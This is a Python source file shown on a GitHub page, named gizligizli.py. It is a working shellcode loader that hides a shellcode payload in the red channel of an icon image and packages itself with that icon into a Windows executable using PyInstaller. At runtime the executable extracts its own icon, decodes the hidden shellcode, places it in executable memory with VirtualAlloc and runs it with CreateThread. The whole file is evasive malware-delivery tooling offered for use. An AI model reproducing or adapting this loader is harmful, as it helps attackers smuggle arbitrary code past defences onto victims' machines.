-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathgizligizli.py
252 lines (199 loc) · 7.35 KB
/
gizligizli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
from PIL import Image
import argparse
import PyInstaller
import PyInstaller.__main__
import sys
import os
import time
import lief
from io import BytesIO
import ctypes
verbose = False
def hide(shellcode_file, source_file, target_file):
"""
Takes a shellcode file and a source file and returns a target file
Example:
>>> sc = hide("shellcode.bin", "source.ico", "embedded.ico")
"""
# open shellcode file
with open(shellcode_file, "rb") as f:
shellcode = f.read()
im = Image.open(source_file)
width, height = im.size
# first pixel's r+g+b sum value will the length of the shellcode
print(f"[HIDE] shellcode length: {len(shellcode)}")
# this is just temporary,
sc_len = len(shellcode)
while True:
# if you happen to see this garbage pls unsee
# TODO: if sclen exceeds 0xff*3 move to next pixel
if sc_len > 254:
im.putpixel((0,0), (255, 0, 0))
else:
im.putpixel((0,0), (sc_len, 0, 0))
break
sc_len -= 255
if sc_len > 254:
im.putpixel((0,0), (255, 255, 0))
else:
im.putpixel((0,0), (255, sc_len, 0))
break
sc_len -= 255
if sc_len > 254:
# this condition is not possible, buggy
im.putpixel((0,0), (255, 255, 255))
else:
im.putpixel((0,0), (255, 255, sc_len))
break
# we will hide the shellcode in the r values
sc_counter = 0
for j in range(height):
for i in range(width):
# skip firstpixel
if i == 0 and j == 0:
continue
updated_pix = list(im.getpixel((i,j)))
updated_pix[0] = shellcode[sc_counter]
im.putpixel((i,j), tuple(updated_pix))
sc_counter += 1
if sc_counter >= len(shellcode):
break
if sc_counter >= len(shellcode):
break
im.save(target_file)
im.close()
return
def unhide(file):
"""
Takes a file or a image stream and returns the shellcode string
Example:
>>> sc = unhide("shellcode.png")
>>> sc
>>> "2315e6a08e999543fe2b02...."
"""
if "PngImageFile" in str(type(file)):
im = file
else:
im = Image.open(file)
pix = im.load()
#image.show()
width, height = im.size
# first pixel's r+g+b sum value will be the length of the shellcode
# We distribute shellcode into 3 pixels
pix = list(im.getpixel((0,0)))
sc_len = sum(pix[:3])
print(f"[UNHIDE] shellcode length: {sc_len}")
# we will hide the shellcode in the g values
sc_counter = 0
shellcode = []
for j in range(height):
for i in range(width):
# skip firstpixel
if i == 0 and j == 0:
continue
shellcode.append(im.getpixel((i,j))[0])
sc_counter += 1
if sc_counter >= sc_len:
break
if sc_counter >= sc_len:
break
# convert int array to hex
sc_str = ""
for i in shellcode:
if i < 16:
sc_str += f"0{hex(i)[2:]}"
else:
sc_str += hex(i)[2:]
im.close()
return sc_str
def save_icon_from_exe(file_path, target_file):
"""
Takes exe file and saves the icon that in the size of 48x48 into target file
Example:
>>> save_icon_from_exe("test.exe", "icon.ico")
"""
pe = lief.parse(file_path)
#first_icon = pe.resources_manager.icons[0] # first icon is generally the biggest one.
# first_icon.save("icon.ico")
for icon in pe.resources_manager.icons:
if icon.width == 48 and icon.height == 48:
icon.save(target_file)
break
if verbose:
print(f"{icon.height}x{icon.width}")
#print(icon)
#print(icon.pixels)
#print(icon.save("icon.ico"))
# ['bit_count', 'color_count', 'height', 'id', 'lang', 'pixels', 'planes', 'reserved', 'save', 'sublang', 'width']
return None
def extract_icon_from_exe(file_path):
"""
Takes a exe file and returns the icon as a image stream
Example:
>>> extract_icon_from_exe("test.exe")
"""
pe = lief.parse(file_path)
#first_icon = pe.resources_manager.icons[0] # first icon is generally the biggest one.
# first_icon.save("icon.ico")
for icon in pe.resources_manager.icons:
if verbose:
print(f"{icon.height}x{icon.width}")
if icon.width == 48 and icon.height == 48:
if verbose:
print(f"bit_count: {icon.bit_count}")
print(f"color_count: {icon.color_count}")
print(f"height: {icon.height}")
print(f"width: {icon.width}")
print(f"id: {icon.id}")
print(f"lang: {icon.lang}")
print(f"planes: {icon.planes}")
print(f"reserved: {icon.reserved}")
print(f"sublang: {icon.sublang}")
return icon.pixels # returns png not fucking pixels
#print(icon.save("icon.ico"))
# ['bit_count', 'color_count', 'height', 'id', 'lang', 'pixels', 'planes', 'reserved', 'save', 'sublang', 'width']
return None
if __name__ == "__main__":
#hide(shellcode, "downloaded_48x48.ico","shellcode_embedded.ico")
#sc = unhide("shellcode_embedded.ico")
#sc = unhide("icon.ico")
#print(f"unhide: \n{sc}")
if getattr(sys, 'frozen', False):
# means we are running from an executable
# unhide and execute
# TODO: replace gizligizli.exe to be the name of the executable
png = extract_icon_from_exe("gizligizli.exe")
# convert int of pixels to raw bytes
png = [bytes([png[i]]) for i in range(0, len(png))]
# join pixels to form a string
raw_png = b''.join(png)
# print(f"pixels: \n{raw_png}")
image = Image.open(BytesIO(raw_png))
sc = unhide(image)
print(f"unhide: \n{sc}")
sc = bytes.fromhex(sc)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(sc), len(sc))
time.sleep(3)
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
else:
# else do the magic
pass
parser = argparse.ArgumentParser()
parser.add_argument("-sc", "--shellcode", dest="sc_path", default="shellcode.bin", help="shellcode.bin location")
parser.add_argument("-i", "--icon", dest="icon_path", default="default.ico", help="Custom icon location, default is default.ico")
parser.add_argument("-v", "--verbose", dest="verbose", default=False, action='store_true', help="verbosity")
args = parser.parse_args()
verbose = args.verbose
target_icon = "embedded.ico"
hide(args.sc_path, args.icon_path, target_icon)
print("[MAIN] shellcode embedded succesfully")
print("[MAIN] creating the executable")
PyInstaller.__main__.run([
'--onefile',
f"--icon={target_icon}",
'gizligizli.py', # TODO: maybe change this to the name of the python file
])
print("[MAIN] Executable created, dist\\gizligizli.exe")